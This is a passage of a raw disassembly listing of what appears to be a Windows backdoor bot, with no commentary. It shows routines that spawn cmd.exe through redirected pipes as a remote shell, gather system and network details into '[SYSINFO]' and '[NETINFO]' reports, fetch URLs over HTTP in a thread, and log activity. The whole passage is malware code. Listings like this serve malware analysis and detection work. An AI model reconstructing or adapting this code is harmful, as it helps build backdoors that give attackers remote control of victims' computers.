var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A5B9
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43A454	; SearchPathA
		test	eax, eax
		jz	loc_40A8F7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8F7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8F7
		mov	edi, dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A6E8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_421100	; DuplicateHandle
		test	eax, eax
		jz	short loc_40A8F7
		push	10h


loc_40A89A:				; DATA XREF: .nsp0:00424ED4o
					; .nsp0:00424F18o ...
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438FBC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_40A8FF


loc_40A8F7:				; CODE XREF: sub_40A7FD+2Fj
					; sub_40A7FD+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A9AD
; ---------------------------------------------------------------------------


loc_40A8FF:				; CODE XREF: sub_40A7FD+F8j
		push	[ebp+var_4]
		mov	edi, dword_42106C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43A6E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43A6EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43A6E0, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43A724, eax
		jz	short loc_40A939
		push	[ebp+arg_4]
		jmp	short loc_40A93A
; ---------------------------------------------------------------------------


loc_40A939:				; CODE XREF: sub_40A7FD+135j
		push	ebx


loc_40A93A:				; CODE XREF: sub_40A7FD+13Aj
		push	offset dword_43A6F0
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B680
		call	sub_414F93
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43F530[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40A6A8
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		cmp	eax, esi
		mov	dword_43F53C[edi], eax
		jnz	short loc_40A9AB
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B638
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_40A9AB:				; CODE XREF: sub_40A7FD+185j
		xor	eax, eax


loc_40A9AD:				; CODE XREF: sub_40A7FD+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B2	proc near		; CODE XREF: sub_407135+74p
					; sub_40AAD1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A72C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA1B	proc near		; CODE XREF: sub_40AAD1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40AA23:				; CODE XREF: sub_40AA1B+2Fj
					; sub_40AA1B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_421060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4172E0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40AA23
		jb	short loc_40AA52
		cmp	ebx, esi
		ja	short loc_40AA23


loc_40AA52:				; CODE XREF: sub_40AA1B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_417260
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40AAC5
		jb	short loc_40AA71
		cmp	esi, 50h
		jnb	short loc_40AA76


loc_40AA71:				; CODE XREF: sub_40AA1B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40AA76:				; CODE XREF: sub_40AA1B+54j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA81
		cmp	esi, 47h
		jnb	short loc_40AA86


loc_40AA81:				; CODE XREF: sub_40AA1B+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40AA86:				; CODE XREF: sub_40AA1B+64j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA91
		cmp	esi, 37h
		jnb	short loc_40AA96


loc_40AA91:				; CODE XREF: sub_40AA1B+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40AA96:				; CODE XREF: sub_40AA1B+74j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAA1
		cmp	esi, 26h
		jnb	short loc_40AAA6


loc_40AAA1:				; CODE XREF: sub_40AA1B+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40AAA6:				; CODE XREF: sub_40AA1B+84j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAB1
		cmp	esi, 1Eh
		jnb	short loc_40AAB6


loc_40AAB1:				; CODE XREF: sub_40AA1B+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40AAB6:				; CODE XREF: sub_40AA1B+94j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAC1
		cmp	esi, 0Ah
		jnb	short loc_40AAC5


loc_40AAC1:				; CODE XREF: sub_40AA1B+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40AAC5:				; CODE XREF: sub_40AA1B+4Dj
					; sub_40AA1B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40AA1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAD1	proc near		; CODE XREF: sub_40CE55+541Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438FBC
		mov	[ebp+var_CC], 94h
		call	dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB58
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB34
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB1E
		mov	[ebp+var_4], offset a95	; "95"


loc_40AB1E:				; CODE XREF: sub_40AAD1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABD3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40ABA4
; ---------------------------------------------------------------------------


loc_40AB34:				; CODE XREF: sub_40AAD1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB46
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB46:				; CODE XREF: sub_40AAD1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB94
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB58:				; CODE XREF: sub_40AAD1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB94
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB72
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB72:				; CODE XREF: sub_40AAD1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB84
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------


loc_40AB84:				; CODE XREF: sub_40AAD1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB9B


loc_40AB94:				; CODE XREF: sub_40AAD1+7Cj
					; sub_40AAD1+8Ej
		mov	[ebp+var_4], offset dword_42B7D0


loc_40AB9B:				; CODE XREF: sub_40AAD1+73j
					; sub_40AAD1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABD3


loc_40ABA4:				; CODE XREF: sub_40AAD1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABD3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B7C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40ABD3:				; CODE XREF: sub_40AAD1+54j
					; sub_40AAD1+D1j ...
		mov	ax, word_42B7C4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43A284
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40AC0C
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40AC0C:				; CODE XREF: sub_40AAD1+12Cj
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40AC35
		push	dword ptr [eax]
		jmp	short loc_40AC3A
; ---------------------------------------------------------------------------


loc_40AC35:				; CODE XREF: sub_40AAD1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AC3A:				; CODE XREF: sub_40AAD1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_421080	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_421110	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A9B2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40AA1B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD85	proc near		; CODE XREF: sub_40CE55+4422p
					; sub_40CE55+544Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	dword_43A480, 0
		jnz	short loc_40ADF9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43A268	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_40ADDA
		lea	eax, [ebp+var_8C]
		push	offset dword_42B844
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_40ADDA:				; CODE XREF: sub_40AD85+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADF2
		push	offset dword_42B83C


loc_40ADE5:				; CODE XREF: sub_40AD85+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_40AE18
; ---------------------------------------------------------------------------


loc_40ADF2:				; CODE XREF: sub_40AD85+59j
		push	offset dword_42B838
		jmp	short loc_40ADE5
; ---------------------------------------------------------------------------


loc_40ADF9:				; CODE XREF: sub_40AD85+28j
		mov	esi, offset off_42B834
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 10h


loc_40AE18:				; CODE XREF: sub_40AD85+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE4B	proc near		; DATA XREF: sub_40CE55+45F7o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B988
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415570
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415570
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43A2A0	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40AFE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF22:				; CODE XREF: sub_40AE4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF40:				; CODE XREF: sub_40AE4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF5A:				; CODE XREF: sub_40AE4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF74:				; CODE XREF: sub_40AE4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43A348
		call	dword_43A36C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43A360	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40B004
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43A314	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40AFDE
		push	offset dword_42B958
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40AFDE:				; CODE XREF: sub_40AE4B+18Aj
		push	offset unk_42B908
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40AFE5:				; CODE XREF: sub_40AE4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8D8
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40B017
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: sub_40AE4B+153j
		push	offset unk_42B898
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40B004:				; CODE XREF: sub_40AE4B+17Bj
		push	offset unk_42B854


loc_40B009:				; CODE XREF: sub_40AE4B+191j
					; sub_40AE4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_40B017:				; CODE XREF: sub_40AE4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B042
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D4C
		add	esp, 14h


loc_40B042:				; CODE XREF: sub_40AE4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	esi
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40AE4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B075	proc near		; CODE XREF: sub_40CE55+4355p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E7A8
		mov	edi, 0B8h


loc_40B089:				; CODE XREF: sub_40B075+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B0AC
		push	[ebp+arg_0]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B0AC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F328
		jl	short loc_40B089
		jmp	short loc_40B0EE
; ---------------------------------------------------------------------------


loc_40B0AC:				; CODE XREF: sub_40B075+17j
					; sub_40B075+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E7A8[esi]
		push	ebx
		call	sub_415570
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D40
		push	9Fh
		lea	eax, dword_43E7C0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D40
		add	esp, 24h
		inc	dword_42E7A4
		pop	ebx


loc_40B0EE:				; CODE XREF: sub_40B075+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F5	proc near		; CODE XREF: sub_40CE55+5588p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B998
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E7A8


loc_40B11F:				; CODE XREF: sub_40B0F5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B15A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B98C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch


loc_40B15A:				; CODE XREF: sub_40B0F5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F328
		jl	short loc_40B11F
		pop	edi
		pop	esi
		leave
		retn
sub_40B0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B16D	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42105C	; GetLocalTime
		mov	ebx, offset dword_43E764
		mov	edi, 80h
		mov	esi, offset dword_43A764


loc_40B18F:				; CODE XREF: sub_40B16D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B1A6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40B1A6:				; CODE XREF: sub_40B16D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B18F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A6A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1E1	proc near		; CODE XREF: sub_407BFE+15Bp
					; sub_407D86+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41748F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		leave
		retn
sub_40B1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B20D	proc near		; CODE XREF: sub_40CE55+5482p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A764
		xor	ecx, ecx


loc_40B214:				; CODE XREF: sub_40B20D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E764
		jl	short loc_40B214
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B9CC
		jnz	short loc_40B244
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_40B244:				; CODE XREF: sub_40B20D+1Fj
		push	esi
		call	sub_40B16D
		pop	ecx
		pop	esi
		retn
sub_40B20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B24D	proc near		; CODE XREF: sub_4033CB+298p

arg_0		= dword	ptr  4

		push	esi
